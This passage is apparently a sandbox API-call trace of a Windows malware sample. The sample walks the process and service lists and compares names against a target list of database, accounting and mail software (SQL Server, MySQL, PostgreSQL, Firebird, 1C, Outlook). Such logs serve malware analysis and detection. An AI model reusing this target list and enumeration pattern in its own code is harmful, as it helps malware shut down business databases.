dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0241.612] lstrlenW (lpString="smss.exe") returned 8 [0241.612] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0241.612] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0241.612] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0241.612] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0241.612] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0241.612] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0241.612] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0241.612] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.613] lstrlenW (lpString="csrss.exe") returned 9 [0241.613] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0241.613] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0241.613] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0241.613] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0241.613] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0241.614] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0241.614] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0241.614] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0241.614] lstrlenW (lpString="wininit.exe") returned 11 [0241.614] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0241.615] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0241.615] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0241.615] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0241.615] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0241.615] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0241.615] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0241.615] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.616] lstrlenW (lpString="csrss.exe") returned 9 [0241.616] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0241.616] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0241.616] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0241.616] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0241.616] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0241.616] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0241.616] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0241.616] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0241.617] lstrlenW (lpString="winlogon.exe") returned 12 [0241.617] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0241.617] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0241.617] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0241.617] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0241.618] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0241.618] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0241.618] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0241.618] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0241.619] lstrlenW (lpString="services.exe") returned 12 [0241.619] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0241.619] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0241.619] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0241.619] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0241.619] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0241.619] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0241.619] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0241.619] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0241.620] lstrlenW (lpString="lsass.exe") returned 9 [0241.620] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0241.620] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0241.620] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0241.620] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0241.621] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0241.621] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0241.621] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0241.621] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0241.622] lstrlenW (lpString="lsm.exe") returned 7 [0241.622] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0241.622] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0241.622] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0241.622] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0241.622] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0241.622] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0241.870] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0241.870] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.871] lstrlenW (lpString="svchost.exe") returned 11 [0241.871] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0241.871] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0241.871] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0241.871] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0241.871] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0241.871] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0241.871] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0241.871] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.873] lstrlenW (lpString="svchost.exe") returned 11 [0241.873] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0241.873] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0241.873] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0241.873] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0241.873] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0241.873] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0241.873] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0241.873] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.874] lstrlenW (lpString="svchost.exe") returned 11 [0241.874] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0241.875] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0241.875] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.876] lstrlenW (lpString="svchost.exe") returned 11 [0241.876] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.877] lstrlenW (lpString="svchost.exe") returned 11 [0241.877] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0241.878] lstrlenW (lpString="audiodg.exe") returned 11 [0241.878] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.879] lstrlenW (lpString="svchost.exe") returned 11 [0241.879] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0241.880] lstrlenW (lpString="userinit.exe") returned 12 [0241.880] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0241.881] lstrlenW (lpString="explorer.exe") returned 12 [0241.881] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0241.882] lstrlenW (lpString="dwm.exe") returned 7 [0241.882] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.883] lstrlenW (lpString="svchost.exe") returned 11 [0241.883] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0241.884] lstrlenW (lpString="winhost.exe") returned 11 [0241.884] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0241.885] lstrlenW (lpString="spoolsv.exe") returned 11 [0241.885] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.886] lstrlenW (lpString="svchost.exe") returned 11 [0241.886] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0241.887] lstrlenW (lpString="taskhost.exe") returned 12 [0241.887] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0241.889] lstrlenW (lpString="reader_sl.exe") returned 13 [0241.889] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0241.890] CloseHandle (hObject=0x380) returned 1 [0241.890] Sleep (dwMilliseconds=0x1f4) [0242.681] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e1a8 [0243.029] EnumServicesStatusExW (in: hSCManager=0x62e1a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0243.032] GetLastError () returned 0xea [0243.032] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xe3c) returned 0x42a0060 [0243.032] EnumServicesStatusExW (in: hSCManager=0x62e1a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42a0060, cbBufSize=0xe3c, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42a0060, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0243.033] CloseServiceHandle (hSCObject=0x62e1a8) returned 1 [0243.033] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0243.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0243.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0243.033] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0243.033] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0243.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0243.034] lstrlenW (lpString="AudioSrv") returned 8 [0243.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0243.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0243.034] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0243.034] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0243.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0243.034] lstrlenW (lpString="BFE") returned 3 [0243.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0243.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0243.034] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0243.035] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0243.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0243.035] lstrlenW (lpString="CryptSvc") returned 8 [0243.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0243.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0243.035] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0243.035] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0243.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0243.035] lstrlenW (lpString="CscService") returned 10 [0243.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0243.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0243.035] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0243.035] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0243.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0243.036] lstrlenW (lpString="DcomLaunch") returned 10 [0243.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0243.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0243.036] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0243.036] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0243.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0243.036] lstrlenW (lpString="Dhcp") returned 4 [0243.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0243.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0243.036] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0243.036] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0243.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0243.036] lstrlenW (lpString="Dnscache") returned 8 [0243.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0243.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0243.037] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0243.037] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0243.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0243.037] lstrlenW (lpString="DPS") returned 3 [0243.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0243.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0243.037] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0243.037] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0243.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0243.037] lstrlenW (lpString="eventlog") returned 8 [0243.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0243.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0243.038] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0243.038] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0243.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0243.038] lstrlenW (lpString="EventSystem") returned 11 [0243.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0243.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0243.038] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0243.038] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0243.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0243.038] lstrlenW (lpString="gpsvc") returned 5 [0243.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0243.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0243.039] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0243.039] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0243.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0243.039] lstrlenW (lpString="iphlpsvc") returned 8 [0243.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0243.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0243.039] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0243.039] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0243.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0243.039] lstrlenW (lpString="LanmanWorkstation") returned 17 [0243.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0243.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0243.040] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0243.040] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0243.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0243.040] lstrlenW (lpString="lmhosts") returned 7 [0243.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0243.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0243.040] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0243.040] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0243.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0243.040] lstrlenW (lpString="MMCSS") returned 5 [0243.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0243.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0243.041] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0243.041] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0243.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0243.041] lstrlenW (lpString="MpsSvc") returned 6 [0243.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0243.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0243.041] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0243.041] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0243.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0243.041] lstrlenW (lpString="NlaSvc") returned 6 [0243.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0243.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0243.041] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0243.042] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0243.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0243.042] lstrlenW (lpString="nsi") returned 3 [0243.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0243.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0243.042] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0243.042] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0243.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0243.042] lstrlenW (lpString="PcaSvc") returned 6 [0243.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0243.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0243.042] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0243.043] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0243.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0243.043] lstrlenW (lpString="PlugPlay") returned 8 [0243.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0243.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0243.043] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0243.043] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0243.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0243.043] lstrlenW (lpString="Power") returned 5 [0243.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0243.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0243.043] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0243.043] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0243.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0243.044] lstrlenW (lpString="ProfSvc") returned 7 [0243.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0243.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0243.044] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0243.044] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0243.044] lstrcmpiW (lpString1="sqlserveradhelper", 